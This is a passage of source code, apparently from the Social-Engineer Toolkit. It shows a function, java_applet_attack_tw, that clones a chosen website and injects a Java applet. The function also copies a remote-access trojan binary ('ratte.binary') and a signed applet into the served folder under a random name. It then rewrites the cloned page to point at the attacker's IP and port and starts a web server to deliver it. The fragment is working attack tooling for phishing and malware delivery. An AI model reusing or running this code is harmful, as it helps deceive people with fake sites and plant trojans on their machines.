(website, port, directory, ipaddr)
| 92 | # and additional capabilities. |
| 93 | # |
| 94 | def java_applet_attack_tw(website, port, directory, ipaddr): |
| 95 | # clone the website and inject java applet |
| 96 | core.site_cloner(website, directory, "java") |
| 97 | |
| 98 | ############################################ |
| 99 | # use customized Ratte nehmen |
| 100 | ############################################ |
| 101 | |
| 102 | # this part is needed to rename the msf.exe file to a randomly generated one |
| 103 | if os.path.isfile(os.path.join(userconfigpath, "rand_gen")): |
| 104 | # open the file |
| 105 | # start a loop |
| 106 | with open(os.path.join(userconfigpath, "rand_gen")) as fileopen: |
| 107 | for line in fileopen: |
| 108 | # define executable name and rename it |
| 109 | filename = line.rstrip() |
| 110 | # move the file to the specified directory and filename |
| 111 | subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait() |
| 112 | |
| 113 | # lastly we need to copy over the signed applet |
| 114 | subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (userconfigpath, directory), shell=True).wait() |
| 115 | |
| 116 | # TODO index.html parsen und IPADDR:Port ersetzen |
| 117 | with open(os.path.join(directory, "index.html"), "rb") as fileopen: |
| 118 | data = fileopen.read() |
| 119 | |
| 120 | with open(os.path.join(directory, "index.html"), 'wb') as filewrite: |
| 121 | to_replace = core.grab_ipaddress() + ":80" |
| 122 | |
| 123 | # replace 3 times |
| 124 | filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3)) |
| 125 | |
| 126 | # start the web server by running it in the background |
| 127 | start_web_server_tw(directory, port) |
| 128 | |
| 129 | |
| 130 | # |
no test coverage detected